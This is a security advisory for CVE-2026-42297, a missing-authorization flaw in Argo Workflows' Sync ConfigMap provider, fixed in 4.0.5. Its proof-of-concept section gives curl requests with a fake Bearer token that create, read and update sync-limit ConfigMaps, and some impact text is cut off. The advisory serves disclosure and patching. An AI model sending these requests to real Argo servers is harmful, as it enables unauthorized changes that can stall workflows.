github.com/argoproj/argo-workflows/v4
Affected
- introduced
4.0.0, fixed4.0.5(semver)
Fixed versions
4.0.5
Fix
- Fixed version
4.0.5go get github.com/argoproj/argo-workflows/[email protected]
Advisory
Also known as: BIT-argo-workflows-2026-42297, CVE-2026-42297, GO-2026-5751
Argo has Missing Authorization in its Sync ConfigMap Provider
Summary
The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details
The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
// NO auth.CanI check
kubeClient := auth.GetKubeClient(ctx)
configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
// ... directly creates/updates ConfigMaps
}
server/sync/sync_cm.go — lines 23-155CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimitPoC
Prerequisites
--auth-mode=serverkubectl port-forward -n argo svc/argo-server 2746:2746Step 1: Create Sync Limit (Fake Token)
curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
kubectl get configmap test-sync -n default
NAME DATA AGE
test-sync 1 74s
Step 2: Read Sync Limit (Fake Token)
curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
-H "Authorization: Bearer fake-token"
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999
Impact
An attacker with network access to the Argo Server can:
0 or 1, blocking all parallel workflow executionRelated CVEs
auth.CanI check)High Basis: The source's own band: HIGH
4.0.0, fixed 4.0.5 (semver)4.0.5
4.0.5go get github.com/argoproj/argo-workflows/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0